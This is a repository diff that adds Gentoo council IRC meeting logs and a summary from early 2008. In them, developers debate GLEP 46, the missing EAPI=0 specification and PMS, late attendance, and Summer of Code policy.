+20:33 < Flameeyes@> but I admit a generic URI would be nicer
+20:33 < Flameeyes@> for instance it would be easier to point to an svn:// url
+20:33 < dberkholz@> just reject stuff you don't know how to handle
+20:35 <      amne@> ah right, the other thing that may be a bit confusing (at least to me): there's maintainers and maintainers
+20:35 <      amne@> one of them is upstream (as specified inside the upstream tags) and the other one the gentoo maintainer
+20:35 <      amne@> still, this may be a bit confusing (or is it just me)
+20:35 < Flameeyes@> not just you for sure
+20:36 < dberkholz@> being part of the upstream hierarchy makes that reasonably clear to me
+20:36 <   Halcyon > In the structure its going to be put into, it seems sane enough to me as well.
+20:37 < Flameeyes@> ambiguos no, a bit confusing yes to me, but I ca cope with it :)
+20:37 < dberkholz@> if i'm looking at an appropriately indented metadata.xml with that, it's pretty straightforward
+20:37 <      amne@> ok, works for me then, just wanted to make people aware before they notice it later and cry about it ;-)
+20:39 <      amne@> ok, so we're happy with that then i think
+20:39 < dberkholz@> right. so what do we want to do with this?
+20:39 < dberkholz@> it's pretty much approveable, but there's the protocol question
+20:40 <   lu_zero@> I'd just update and approve
+20:40 < Flameeyes@> if possible, I'd say approve it without protocol limitation
+20:40 < dberkholz@> i suppose we could approve it with that caveat attached, which must be resolved before it can be officially "approved glep"
+20:40 <      amne@> yupp
+20:40 < dberkholz@> there might be a reason for that, which we don't know
+20:40 <   Halcyon > So, no protocol limitation at all, or do we want to come up with a sane set?
+20:41 < Flameeyes@> that's a good reason for the proposers to be around when the council discuss a glep :P
+20:41 < Flameeyes@> Halcyon, I'd say "valid URI" and that would be it
+20:41 < dberkholz@> Halcyon: i think that's a question for the authors to answer, not us
+20:41 < Flameeyes@> if we need a proper valid uri list...
+20:41 <   Halcyon > The only reason I can think of is that you'd need who knows how many tools to be able to access the various SCMs (for example)
+20:41 < Flameeyes@> dberkholz, does freedesktop have anything on that?
+20:42 <   Halcyon > dberkholz: yea, I'm just kind of throwing it out there, for what is going to be asked of them.
+20:42 < dberkholz@> i don't know
+20:44 <      amne@> just looked through the old and new threads, seems this wasn't discussed
+20:45 <     jokey@> maybe people didn't even think about that or assumed it
+20:46 <      amne@> (or i'm not seeing it of course)
+20:46 <      amne@> jokey: i'd guess so
+20:46 <     jokey@> at least I would assume it without further thinking
+20:47 <      amne@> well, i consider it rather a minor detail that needs to be figured out while the rest of the glep looks good to me
+20:47 <     jokey@> same here
+20:47 < dberkholz@> alright. let's vote on approved with caveat
+20:47 <     jokey@> I'm all for it
+20:48 <   Halcyon > Sounds good
+20:48 < dberkholz@> yes from me
+20:48 <      amne@> so if it's fine with you folks we could just approve it under the condition it'll be discussed
+20:48 <      amne@> i type too slow
+20:48 < Flameeyes@> good for me
+20:48 <      amne@> ++ from me if not clear already
+20:48 < dberkholz@> great.
+20:48 < dberkholz@> next topic, another one that keeps coming up, is eapi
+20:48 < dberkholz@> Halcyon wants a spec
+20:49 <   Halcyon > s/Halcyon/lots of people :) /
+20:49 < dberkholz@> ok, 3 people
+20:49 < dberkholz@> one of whom is here to discuss his desires
+20:49 <   Halcyon > I definitely want it from a QA perspective as well.  Its hard to enforce something when there is no official spec.
+20:50 < dberkholz@> Halcyon: is there some particular part that's unclear?
+20:50 <   lu_zero@> the fact it isn't on a single paper?
+20:51 <   Halcyon > Correct.  The fact that we don't have a clear specification of what EAPI=0 is, and what was added to it, in a document that can be easily referenced for new developers or people writing package managers or qa.
+20:51 <   Halcyon > PMS seems to fill this void, but we don't have an approved version of it that defines EAPI=0 and 1.
+20:51 < dberkholz@> it's in ebuild(5) in two places if you search for /EAPI 1
+20:52 -!- wolf31o2|work [n=wolf31o2@gentoo/developer/wolf31o2] has joined #gentoo-council
+20:53 <   Halcyon > And I just dragged wolf31o2|work in here since he has the same feelings as I do.
+20:53 <wolf31o2|w > ehh... hi
+20:53 < dberkholz@> Halcyon: ok, we don't have EAPI=0 specification approved. so there isn't anywhere that we can point to that has a spec of it.
+20:54 <   Halcyon > So, if the ebuild manpage is our specification, what purpose does PMS have?  I'm just trying to understand where we are going to have all of this documented.
+20:55 <   Halcyon > And it would be nice for other package managers to be able to point to a document that they are implementing (I don't think paludis or pkgcore want to use our ebuild manpage)
+20:55 < dberkholz@> anyone else think we almost have too many sources of ebuild documentation?
+20:55 <     Opfer > Here!
+20:55 <      amne@> dberkholz: exactly my thoughts
+20:55  * Flameeye  
+20:56 <wolf31o2|w > for sure
+20:56 <wolf31o2|w > heh
+20:56 <   Halcyon > dberkholz: definately, which is why I'm trying to figure out where all of this is going to be documented.
+20:56 <     jokey@> thing is
+20:57 <     jokey@> specs don't help people writing ebuilds, they just help PMs
+20:57 < dberkholz@> Halcyon: i'd say put it into the devmanual
+20:57 <   lu_zero@> eh
+20:57 <   Halcyon > I guess the real thing we need to figure out is, what are the purposes of these pieces of documentation, and what should they contain? 1) ebuild manpage 2) Devrel dev handbook 3) QA's devmanual 4) PMS
+20:57 < dberkholz@> have a section that will list EAPI additions
+20:58 <     solar > EAPI= additions are being done on the fly and are illy defined
+20:58 <wolf31o2|w > 2 should be development policy-only, IMO...
+20:58 <      zlin > jokey: it certainly helps ebuild devs when there's a dispute about whether a bug is an ebuild bug or a pm bug..
+20:58 < dberkholz@> the ebuild manpage should be a reference, and i think it does a reasonably good job of that. it also pretty much duplicates a chunk of the dev handbook (not devmanual)
+20:59 <   Halcyon > jokey: the spec helps everyone to know what is valid (especially QA)
+20:59 -!- tsunam [n=tsunam@gentoo/developer/tsunam] has joined #gentoo-council
+20:59 <   lu_zero@> and a way to enforce QA includes have the PM helpers
+20:59 <   lu_zero@> so it's fine having a sane spec
+21:00 <   Halcyon > lu_zero: the problem is that we do not have a specification document that is approved right now for what should be implemented for an EAPI=1 compliant PM.
+21:00 <wolf31o2|w > a specification also defines how the PM should act... so one knows what functions to use/not use, given a desired outcome...
+21:01 <wolf31o2|w > we don't even have it for EAPI=0
+21:02 <     jokey@> Halcyon: thing is, both paludis and pkgcore have hit a bunch of corner cases which haven't been defined and won't be unless you either reverse-spec the portage code or hit those cases
+21:02 -!- Pesa [n=Pesa@151.16.87.94] has joined #gentoo-council
+21:03 < dberkholz@> the devmanual feels like an extended reference, with the same reference material but also additional descriptions. still not a tutorial, though.
+21:03 <   Halcyon > jokey: which is why we should have defined EAPI=0 before we decided to tack things on.  We don't even completely know how Portage is supposed to behave is what I'm reading in your statement.
+21:03 <   Halcyon > But, that's beside the point since we are where we are now.  Working on, and getting a complete specification that is approved by the council should be the end goal.
+21:03 < dberkholz@> well, we can define a difference in behavior as EAPI=1
+21:04 <      zlin > dberkholz: same reference material as what?
+21:04 <     solar > Halcyon: has the topic of GLEP's for EAPI >0 additions been discussed here yet?
+21:04 <wolf31o2|w > dberkholz: only after EAPI=0 is defined
+21:04 < dberkholz@> zlin: as ebuild(5), as the dev handbook's section on the same content on ebuild(5)
+21:04 <   Halcyon > solar: no, I was just going to raise that.
+21:04 < dberkholz@> wolf31o2|work: i think we can define a set of conditions that were not guaranteed before but are after without also specifying everything else that happens before and after
+21:05 <   Halcyon > dberkholz: those conditions could interact with thigns that are not specified as well though, in that case.
+21:05 <wolf31o2|w > dberkholz: then why even bother? why not just tack it all onto EAPI=0 and say that there's no specification yet and everything is EAPI=0
+21:05 <wolf31o2|w > exactly
+21:05 < dberkholz@> maybe EAPI=0 should even be built up from smaller chunks like that
+21:05 < dberkholz@> just so we can make some progress on getting it approved
+21:06 <wolf31o2|w > *nothing* is specified at this time... so any conditions would be against what, exactly? a best-guess?
+21:06 <   Halcyon > So, just to get this somewhat focused again, here are a few things I would like answers to (and I think we can answer them)
+21:06 <NeddySeago > EAPI-0 is history with EAPI-1 being in use. Why spend effort documenting EAPI-0 ?
+21:06 <    tsunam > erm...
+21:07 < dberkholz@> EAPI=1 isn't a complete replacement of everything in EAPI=0, NeddySeagoon 
+21:07 <   Halcyon > 1) What should be the purpose of PMS?  Is this going to be the document that gives the complete spec and is approved before introducing new EAPIs.
+21:07 <    tsunam > eapi=1 is seeking to expand on eapi=0
+21:07 <NeddySeago > dberkholz my understanding is that its a superset
+21:07 <   Halcyon > NeddySeagoon: so what did it build upon?  That's why we need to know.
+21:08 <    tsunam > NeddySeagoon: as well believe that eapi=0 eapi=X if that's the way it goes...are to be interoperable so that one doesn't violate another...etc
+21:08 <   Halcyon > But, before we go all over the place, lets take this on a point by point basis please :)
+21:08 <NeddySeago > tsunam, Ah yes ... I had overlooked the interoperability
+21:09 <   Halcyon > So, does anyone have an answer for my #1? :)  I have more to follow.
+21:09 <     jokey@> Halcyon: +1 and even over to -dev ML :)
+21:10 <   Halcyon > jokey: yes, it will need to go there as well, but I'd like to atleast get intial input from the council.
+21:10 -!- Opfer [n=Opfer@gentoo/developer/opfer] has quit ["Leaving."]
+21:11 < dberkholz@> i think it's important to approve PMS as EAPI=0 specification. i'm not convinced that needs to happen before we can define other EAPIs.
+21:11 <      zlin > wolf31o2|work: we bother to avoid breaking every portage that doesn't support slot deps or iuse defaults...
+21:11 < dberkholz@> i am more interested in not blocking new features we need
+21:11 < dberkholz@> the problem is that not having PMS of EAPI=0 approved makes it difficult to refer to it as a good source for anything else
+21:12 <   Halcyon > dberkholz: I agree we shouldn't impede upon progress, but we need to know the foundation we are building upon before piling more on top of it.
+21:13 <   Halcyon > But, we do agree that PMS should be the PM agnostic specification (resources, reference, whatever) that is to be approved before EAPI features are introduced in the tree? (once we clean up where we are at now and get PMS up to speed)
+21:14 <     solar > once the PMS is final.. No additions really should be added to it w/o hitting the GLEP process. Then there should be a fixed period of time before ppl just start using it.
+21:15 <   Halcyon > solar: that's kind of what I"m getting at.  I'm just trying to see if everyone else agrees too :)
+21:15 < dberkholz@> the whole fixed period of time thing is the reason for EAPI...
+21:15 < dberkholz@> s/the/a/
+21:16 <      amne@> Halcyon: i think that makes sense, yes
+21:16 <    tsunam > We're talking about something that effects a LOT of people
+21:16 -!- Betelgeuse [i=betelgeu@a88-114-31-12.elisa-laajakaista.fi] has joined #gentoo-council
+21:16 -!- mode/#gentoo-council [+o Betelgeuse] by ChanServ
+21:16 < dberkholz@> i just took a look at PMS, and it defines the EAPI=1 features similarly to ebuild(5) -- all mixed in with the other text. it also adds a mention of ECONF_SOURCE, the part of it most people don't care about.
+21:16 <   Halcyon > 2) Okay, and if PMS is not up to par by the time EAPI=2 comes around, the council will still be approving that before people add it to the tree, correct?
+21:16 < Flameeyes@> hi Betelgeuse
+21:17 <     solar > who defined it and when? Who approved those additions?
+21:17 <   Halcyon > dberkholz: I'll be actively working on PMS soon, so I'll be cleaning it up and making it easier to look through.
+21:17 <      amne@> Halcyon: can you re-word your question? not sure if i understand it correctly
+21:18 <      amne@> Halcyon: you mean eapi=2 needs to be approved before it will be used in the tree?
+21:18 <   Halcyon > amne: yes.
+21:18 <   Halcyon > Regardless of the status of PMS at that point in time.
+21:18 <      amne@> ah
+21:18 < dberkholz@> i agree that non-zero EAPIs have to be approved by the council before they can be used in the tree
+21:19 <   Halcyon > Okay, and we agree that PMS should be the single point of reference for EAPIs?
+21:19 <Betelgeuse@> Flameeyes: Stupid connection stuff.
+21:20 <Betelgeuse@> Well better late than never.
+21:20 <  g2boojum+> I assume that the concern is not that the various PMs are getting out of sync w/o a well-defined EAPI, but that features are going in w/o some sort of official channel?
+21:20 <Betelgeuse@> Flameeyes: can you upload logs so far somewhere?
+21:20 <   Halcyon > g2boojum: partly that is my concern.  My other concern is to know where the problem really lies when something doesn't work as expected.
+21:21 < Flameeyes@> Betelgeuse, http://rafb.net/p/OwynUu65.html
+21:22 <   Halcyon > So, I will begin actively working on PMS and hopefully by next month I will have made some progress on getting it closer to being "complete".  At that point in time we can assess where we are at and take it from there?
+21:23 < dberkholz@> that sounds reasonable
+21:24 <      amne@> Halcyon: if there is a complete PMS (or at least one that can be expected to be complete soon) as a basis for future eapis, that surely would be the best way to do things
+21:24 < dberkholz@> since this is another issue tied to package managers, i'd certainly want to hear from their devs before approving EAPI=0
+21:24 <   Halcyon > amne: it should have been how we started before we moved forward, but we can't go back in time now, so I want to make it better :)
+21:25 <      amne@> Halcyon: agreed - sounds great
+21:26 <Betelgeuse@> Halcyon: I don't see a problem in defining EAPI 1 before 0 is finished
+21:26 <Betelgeuse@> as it only add things
+21:27 <   Halcyon > Betelgeuse: we already discussed why that isn't a good way to look at it.  What are you adding onto?  How does it interact with what we started with?  Etc
+21:27 <wolf31o2|w > wait... you see no problem with allowing adding to a specification that's undefined?
+21:27 <Betelgeuse@> wolf31o2|work: If the other option is waiting for months to get the spec finished, then no.
+21:27 <     solar > Halcyon: Re: take it from there. So does that mean that ebuild-devs need to stop using the undefined EAPI=1 stuff in the tree?
+21:27 <    tsunam > Betelgeuse: because eapi0 isn't finished...we don't have a solid basis on which to base anything off of. Its like having 1 brick as a base then building horizontally on top of it...You'll get top heavy and topple over
+21:28 <wolf31o2|w > Betelgeus: rather than spending resources to actually... you know... finish the specification and make it usable, thereby actually *resolving* the issue rather than working around it
+21:28 <   Halcyon > solar: I don't think we are going to be able to convince people of that.
+21:28 <Betelgeuse@> wolf31o2|work: That would work if we could make people work on it.
+21:29 <Betelgeuse@> solar: Why?
+21:29 < dberkholz@> it's not undefined. it's just not defined in precisely the way some of you apparently want it to be.
+21:29 <    tsunam > wow...
+21:29 <     solar > uhh
+21:29 <wolf31o2|w > Betelgeus: how about "You won't be able to use EAPI=* where * != 0 until the spec is finished and approved and if you want the features, help get the spec complete" ?
+21:29 <wolf31o2|w > you know... that works just *great* for professional software development... why should we work differently than the established best practices for software engineering?
+21:30 <Betelgeuse@> wolf31o2|work: Well tons of Java stuff use EAPI 1 already so don't see going back.
+21:30 <wolf31o2|w > ...and?
+21:30 <wolf31o2|w > actually... never mind
+21:30 <Philantrop > Betelgeuse: As does KDE 4. We won't go back either.
+21:30 <   Halcyon > wolf31o2|work: solar: I don't think we are going to be able to go back, but I hope that everyone here does see what happened here, and learns from it atleast.
+21:31 < dberkholz@> well, imagine people are saying this about EAPI=2 instead of EAPI=1, and it has USE deps.
+21:31 <   Halcyon > Making progress is what we all want, but not at the cost of shooting ourselves in the foot down the road.
+21:31 <    tsunam > in essense we already are shooting ourselves in the foot
+21:31 <Betelgeuse@> But any way I did raise these concerns when zmedico initially brought EAPI 1 to gentoo-dev
+21:31 <      amne@> yeah, let's focus on how we can do that
+21:31 <      amne@> making progress, not shooting into our feet
+21:31 <    tsunam > progress would be having a full spec
+21:31 <wolf31o2|w > indeed
+21:31 <      amne@> as far i see it, Halcyon seems to be pretty motivated to finishing it
+21:32 <     solar > lets see. Head of releng, head of the x86 team, head of QA, head of hardened/embedded are all sharing our concerns and ppl are still putting undefined shiny little features ahead of everything else that matters.
+21:32  *    solar is proud to be apart of this team sometimes
+21:32 < dberkholz@> things that matter to you are not things that matter to everyone else in gentoo...
+21:32 < dberkholz@> if they matter to you, work on 'em. i know y'all do that anyway
+21:32 <Betelgeuse@> solar: I don't think I said that I would agree with how things went about.
+21:32 <    tsunam > dberkholz: same goes for you
+21:32 <      amne@> so if there are some people actively working on pms, do you see it finished within a reasonable timeframe?
+21:32 < dberkholz@> tsunam: precisely. so people should work on things they care about. that's how oss goes
+21:32 <Betelgeuse@> But I don't see any reason to stop using EAPI 1 now.
+21:33 <    tsunam > dberkholz: we can run that one into the ground if you want
+21:33 -!- ferdy [n=ferdy@gentoo/developer/ferdy] has joined #gentoo-council
+21:33 <wolf31o2|w > solar: that's pretty much the way I see it... and what I'm hearing is that best practices for software engineering... you know, the stuff designed to allow for this sort of collaboration, should take a back seat to "progress"
+21:33 <   Halcyon > Well, we could go at each other all day, but it isn't going to get us anywhere (fortunately or unfortunately).
+21:34 <   Halcyon > To move forward here (in a sane way), I am going to get PMS done as quickly as I can.  Everyone that is interested in helping me, please let me know.
+21:34 <NeddySeago > We are where we are ... how do we get to where we need to be ?
+21:34 <   Halcyon > I am going to be vehemently opposed to introducing any new EAPI's into the tree until we have EAPI=0 and EAPI=1 defined in a full spec.
+21:34 -!- hparker [n=hparker@gentoo/developer/hparker] has quit [Remote closed the connection]
+21:34 <   Halcyon > We can't go back from where we are (again fortunately or unfortunately), so lets all try to work together to ensure that things that you want to work on, don't make things I want to work on a living nightmare.
+21:35  *    jokey can live with not introducing new stuff but we have to keep eapi=1 now
+21:35 <wolf31o2|w > why?
+21:35 <Betelgeuse@> Halcyon: sounds good
+21:35 <wolf31o2|w > why do we have to keep it?
+21:35 < Flameeyes@> I agree with Halcyon
+21:35 <wolf31o2|w > can anyone actually explain that one?
+21:35 <      amne@> i think Halcyon's suggestion is good
+21:35 <NeddySeago > Halcylon ... timescales ?
+21:35 <   Halcyon > wolf31o2|work: I'm saying we have to keep it just because I don't want to get into a long drawn out fight that isn't going to get me anywhere.
+21:35 <   Halcyon > NeddySeagoon: when it gets done.  The more help I have, the faster I can get it done.
+21:36 <wolf31o2|w > Halcyon: so we're allowing the proliferation of EAPI=1 to continue into the tree?
+21:36 < dberkholz@> we're also allowing the proliferation of EAPI=0 to continue into the tree...
+21:37 <   Halcyon > wolf31o2|work: I don't see anyway of stopping it at this point.  Not without causing many many people to get into a useless flamewar.
+21:37 <      zlin > wolf31o2|work: have you really forgotten which council decided that pms wasn't important?
+21:37 <wolf31o2|w > dberkholz: without a specification of EAPI=0 and EAPI=1, there is *NO* EAPI, at all... so your point is completely moot
+21:37 <Betelgeuse@> Why is there an open floor?
+21:37 < dberkholz@> if there's no eapi, you aren't arguing about anything
+21:38 < Flameeyes@> Betelgeuse, we decided not to moderate unless needed
+21:38 <wolf31o2|w > zlin: is there a point you're trying to make or are you just trying to point fingers because you don't have anything useful to contribute to the conversation?
+21:38 < dberkholz@> because we just arbitrarily add new features whenever we feel like it
+21:38 <Betelgeuse@> Flameeyes: could be
+21:38 <wolf31o2|w > dberkholz: that's my point, entirely...
+21:38 < Flameeyes@> Betelgeuse, could be needed? :P
+21:38 <wolf31o2|w > dberkholz: there's nothing stopping me from adding EAPI=wolf31o2 and doing whatever I damned well please with it...
+21:38 < dberkholz@> council never approved your eapi. =P
+21:39 <    tsunam > dberkholz: has the council approved EAPI=1?
+21:39 <   Halcyon > wolf31o2|work: I'm willing to bend on somethings, so long as we don't screw up again in the future, and it seems to me that we are in agreement on that, mostly....
+21:39 <   Halcyon > tsunam: yes, they did actually.
+21:39 <wolf31o2|w > tsunam: no, but they approved its *use*
+21:39 <Betelgeuse@> Flameeyes: Just saying that I have no recollection either way.
+21:39 < dberkholz@> we approved EAPI=1 and cited the 3 features that included
+21:39 <Betelgeuse@> wolf31o2|work: well isn't that the same thing?
+21:40 <wolf31o2|w > Betelgeuse: show me the specification and I'll agree... otherwise, no it is not the same thing, at all
+21:40 <     solar > ok so thats the end of EAPI=1 and now we are on to =2 ?
+21:40 < Flameeyes@> I'm going to infringe lu_zero's copyright and just say "yawn"
+21:40 <Betelgeuse@> wolf31o2|work: So you argue that EAPI=1 must be written down to exist?
+21:40 < dberkholz@> does anyone feel like we're making any progress in this discussion, with the exception of Halcyon committing to working on the PMS?
+21:41 <    tsunam > wow...again
+21:41 < Flameeyes@> dberkholz, no
+21:41 < dberkholz@> thi sis 21:39 <wolf31o2|w > tsunam: no, but they approved its *use*
+21:41 < dberkholz@> woops
+21:41 < dberkholz@> this is not going anywhere that i can see
+21:41 <Betelgeuse@> Yep
+21:41 < Flameeyes@> dberkholz, agreed
+21:41 -!- solar [n=solar@smtp.gentoo.org] has left #gentoo-council []
+21:41 -!- wolf31o2|work [n=wolf31o2@gentoo/developer/wolf31o2] has left #gentoo-council ["Leaving"]
+21:43 <   Halcyon > And do we agree that EAPI=2 can be held off until we get an approved specification done?  I don't even think EAPI=2 is on the radar yet, so please just keep PMS and myself in mind when it does come around.
+21:43 <      amne@> so. back to constructive?
+21:43 <   Halcyon > I'll hopefully be completely done by that point in time.
+21:43 < Flameeyes@> Halcyon, agreed
+21:43 <     jokey@> Halcyon: +1 on that
+21:43 <   lu_zero@> fine...
+21:43 <      amne@> Halcyon: as long it doesn't take a trillion years for PMS, i think that's a good plan to stick to
+21:43 <   Halcyon > amne: if it does, you can override me (the council is the only group capable over overriding QA anyway :) )
+21:44 <   Halcyon > But I don't see it taking that long if I can get some movement going on it.
+21:44 <   lu_zero@> btw could we have the specs in rfc format?
+21:44  *    jokey fetches one of Halcyon's cars and overrides him just in case ;
+21:44 <   lu_zero@> (or a format that isn't yet another one)
+21:45 <   Halcyon > lu_zero: I'll see how it is now, how flexible it is, and take it from there.
+21:45 <   Halcyon > In the end though, its probably going to be what I'm most comfortable with (like devmanual) since no one else is going to work on it for the most part.
+21:45 <      amne@> Halcyon: i wouldn't want to do that as i'd rather like to see someone actively working on it anyway :-)
+21:46 <Betelgeuse@> Halcyon: Considering that zmedico hasn't implemented use deps yet it's coming very soon
+21:47 -!- kingtaco|laptop [n=kingtaco@gentoo/developer/kingtaco] has joined #gentoo-council
+21:47 <   Halcyon > Betelgeuse: I'm sure it can wait a few weeks if we are making progress with PMS.
+21:47 <   Halcyon > People have waited this long, another few weeks isn't going to kill anyone.
+21:47 <Betelgeuse@> Halcyon: Has someone said something would be coming in few weeks that I missed?
+21:47 <   Halcyon > Betelgeuse: I'm not even sure what you are saying now, could you rephrase?
+21:48 <   Halcyon > You said zmedico hasn't implemented use deps, so it will be coming very soon?  What's coming, EAPI=2?
+21:48 <   Halcyon > What is "soon"?
+21:49 <Betelgeuse@> Halcyon: I don't think there is any timeframe for use deps. I remember zmedico saying he would do them last summer :D
+21:49 <Betelgeuse@> Halcyon: So I wanted to know where the talk about a few weeks comes from as I don't understand it.
+21:49 <   Halcyon > Betelgeuse: okay, so we shouldnt' have a problem for quite awhile (since I'll have plenty of time to get PMS done)
+21:50 <   Halcyon > Betelgeuse: you said use deps would be coming soon.  I read that to mean as in any day now, so I was saying that using EAPI=2 could wait a few weeks if that was the case, so I could get documentation done.
+21:50 <Betelgeuse@> Halcyon: Seems I missed a not
+21:50 <   Halcyon > Betelgeuse: I thought so, which was why I got confused :)
+21:51 < dberkholz@> ok
+21:51 < dberkholz@> that's the last topic we had, and i'm please that Halcyon committed to some action so we're making progress
+21:51 < dberkholz@> pleased*
+21:52 < dberkholz@> are there any _new_ topics to bring up?
+21:52 <   Halcyon > Okay, and on that note, I have to run.  I will give you guys an update by the next meeting, if not before then.
+21:52 <      amne@> Halcyon++
+21:53 <      zlin > Halcyon: I think Betelgeuse was trying to say that if pms comes within a month or two it'll likely be very soon compared to use deps..
+21:54 <      zlin > or not
+21:54 <Betelgeuse@> use deps happens very fast after someone starts working on the
+21:54 <Betelgeuse@> m
+21:57 < dberkholz@> i've posted a summary at http://dev.gentoo.org/~dberkholz/20080214-summary.txt
+21:57 < dberkholz@> take a quick look through it
+21:58 < dberkholz@> Betelgeuse: do you think you should get a slacker mark?
+22:01 <      amne@> dberkholz: summary looks good, just one detail about glep 46:
+22:01 <      amne@> Approved, with a caveat
+22:01 <      amne@> did someone count?
+22:01  *     amne scrolls back
+22:01 < dberkholz@> yeah there was like 5 votes
+22:01 <      amne@> yeah, just saw it
+22:01 <      amne@> all fine then :-)
+22:02 <Betelgeuse@> dberkholz: I would let others decide.
+22:02 <Betelgeuse@> dberkholz: I would mark myself as late like with the timezone session.
+22:02 <      amne@> Betelgeuse: i guess it depends why you were late
+22:03 <Betelgeuse@> amne: Battling with the server.
+22:03 <      amne@> Betelgeuse: if you were busy watching chuck norris movies, then you're a slacker
+22:03 <Betelgeuse@> amne: You should see from your logs that it has been down for most of the day.
+22:03 <      amne@> well, that's fair enough for not being a slacker imho
+22:03 <      amne@> Betelgeuse: too lazy to check and i trust people easily
+22:04 <Betelgeuse@> amne: good, I counted on that.
+22:04 <Betelgeuse@> dberkholz: It should at least reflect that I was here for half of it.
+22:05 <      amne@> Betelgeuse: heh
+22:06 < dberkholz@> we really need to come up with some kind of rule for what to do when people are crazy late.
+22:06 < dberkholz@> this isn't the first time
+22:06  *  lu_zero is still cooking takoyaki
+22:06 <      amne@> lu_zero: don't starve while cooking
+22:06 <   lu_zero@> I'm trying...
+22:06 < dberkholz@> anyone else got thoughts or care?
+22:06 <Betelgeuse@> dberkholz: No they slack :D
+22:06 < Flameeyes@> dberkholz, I unfortunately got used to people being late
+22:07 < Flameeyes@> I live in italy after all, being on time is ... rare :P
+22:07 <      amne@> dberkholz: not really as long it doesn't makes us unable to work
+22:07 <      amne@> dberkholz: as for today, Betelgeuse was late, we started without him and i can live with that
+22:07 < dberkholz@> i'm gonna put him as here, since he was around for really the most important bit
+22:08 <      amne@> if we want to tighten up the rules, we can do that - not that i care a lot about whether it's done or not
+22:08 <Betelgeuse@> amne: I don't think that's important
+22:08 <Betelgeuse@> amne: You get what you vote for.
+22:08 <      amne@> Betelgeuse: heh
+22:08 < dberkholz@> might be a good idea to always have a backup proxy in case you're late
+22:09 <Betelgeuse@> dberkholz: That's true.
+22:09 <      amne@> Betelgeuse: if someone is always late, he'll get dropped from the council sooner or later, yes
+22:09 <Betelgeuse@> dberkholz: But people shouldn't be late that often.
+22:09 < dberkholz@> Betelgeuse: individual people, no, but 1 of 7 i think is higher chance
+22:10 < dberkholz@> well, i think we're pretty much done with the meeting part after the EAPI bit, so let's officially declare it over
+22:10 <      amne@> yeah
+22:10 <      amne@> unless anyone has anything left to say
+22:11 <      amne@> i'd like to say hi to my parents before the log closes
+22:11 < dberkholz@> i asked once already and nobody chipped in
+22:11 -!- Pesa [n=Pesa@151.16.87.94] has left #gentoo-council []
+22:11 <      amne@> dberkholz: ah, seems i missed that with all the excitement we had today
+22:13 < dberkholz@> ok, i'll send out the summary in a few minutes
+22:13 <      amne@> great, thanks dberkholz
+22:13 <   lu_zero@> ^^
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080313-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080313-summary.txt
new file mode 100644
index 00000000..6d21aeda
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080313-summary.txt
@@ -0,0 +1,93 @@
+Roll call
+=========
+
+(here, proxy [by whom] or slacker?)
+
+amne        here
+betelgeuse  here
+dberkholz   slacker [39 minutes late]
+flameeyes   here
+lu_zero	    here
+vapier      here
+jokey       here
+
+Updates to last month's topics
+==============================
+
+	http://www.gentoo.org/proj/en/council/meeting-logs/20080214-summary.txt
+
+	Document of being an active developer
+	-------------------------------------
+	No updates
+
+	Slacker arches
+	--------------
+	2 months ago:
+		vapier will work on rich0's suggestion and repost it for 
+		discussion on -dev ML
+	Updates:
+		vapier said he was going to work on it this weekend.
+
+	GLEP 46: Allow upstream tags in metadata.xml
+	--------------------------------------------
+	http://www.gentoo.org/proj/en/glep/glep-0046.html
+
+	Last month:
+		Caveat on approval about allowed protocols
+	Updates:
+		No updates; no authors present
+
+	EAPI=0
+	------
+	Last month:
+		Halcy0n was working on it
+	Updates:
+		Ciaran has been contributing and has committed quite a few 
+		things. Halcy0n hopes to work on it in the next couple of weeks. 
+		He informed us that Ciaran said when he finishes the environment 
+		tables, EAPI=0 is probably a week of solid work from having a 
+		draft for review.
+
+		Halcy0n wasn't around when the topic came up, so the above info 
+		was from after the meeting.
+
+New topics
+==========
+
+	Summer of Code
+	--------------
+	Should Gentoo devs be allowed to participate?
+
+	GNOME's policy is that they favor people who haven't contributed 
+	before, but they will accept great projects from contributors.
+
+	Decision: Council members will become additional SoC admins, and 
+	will serve as tiebreaker votes if they aren't actively participating 
+	in SoC project selection.
+
+	Decision: Gentoo SoC admins will decide whether non-contributors 
+	should be favored over contributors.
+
+	Package maintainers
+	-------------------
+	Proposed by killerx (anant)
+
+	Decision: We'll promote proxy-maintainers more -- GMN, website, etc.
+
+	amd64 arch team and big bug list
+	--------------------------------
+	Proposed by armin76 (raul)
+
+	kingtaco (mike) said it's hard to keep people interested in 
+	keywording.
+
+	Anyone interested has had permission to keyword and stabilize 
+	non-system packages since 2007.1 (see -core email from kingtaco with 
+	subject "AMD64 keywording").
+
+	Open floor
+	----------
+	A list of required attendees would be useful. dberkholz will start 
+	creating the agenda along with this list in advance of the meeting.
+	Posting the agenda on a google calendar, along with other stuff, 
+	could help. flameeyes is starting to work with the PR team on this.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080313.txt b/xml/htdocs/proj/en/council/meeting-logs/20080313.txt
new file mode 100644
index 00000000..5bf842aa
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080313.txt
@@ -0,0 +1,665 @@
+20:02 <      amne@> do we have an agenda somewhere?
+20:02 -!- Betelgeuse changed the topic of #gentoo-council to: Council meeting
+20:03 <     Jokey@> I think dberkholz was writing one
+20:03 <      amne@> good
+20:03  * ferringb stretches, if it's not on the agenda, eapi status would be lovely also
+20:03 <    fmccor > ferringb, No, not really you don't.
+20:03 <     Jokey@> as he always does ;)
+20:03  * ferringb turns off the red light in the meantime, and shuts up
+20:05 <     Jokey@> wondering where the other half is atm
+20:05 -!- mpagano|work [n=mike@pool-96-225-79-106.nwrknj.fios.verizon.net] has quit [Read error: 110 (Connection timed out)]
+20:05 <kingtaco|w > probably screwed by DST
+20:05 -!- mpagano [n=mpagano@gentoo/developer/mpagano] has quit [Read error: 110 (Connection timed out)]
+20:06  * kingtaco recalls this from last year
+20:06 <     Jokey@> time change or sth?
+20:06 <kingtaco|w > yeah
+20:06 <      amne@> yupp
+20:06 <kingtaco|w > US was last weekend
+20:06 <Betelgeuse@> Jokey: US goes to Summer time earlier
+20:06 <     Jokey@> ah
+20:06 -!- windzor [n=windzor@84.238.83.251] has joined #gentoo-council
+20:06 <    fmccor > Congress thinks it saves energy by making the days longer or something.
+20:06  *    Jokey waits for announcements on tv ;)
+20:07 <kingtaco|w > fmccor, actual results were more power consumption
+20:07 <kingtaco|w > congress--
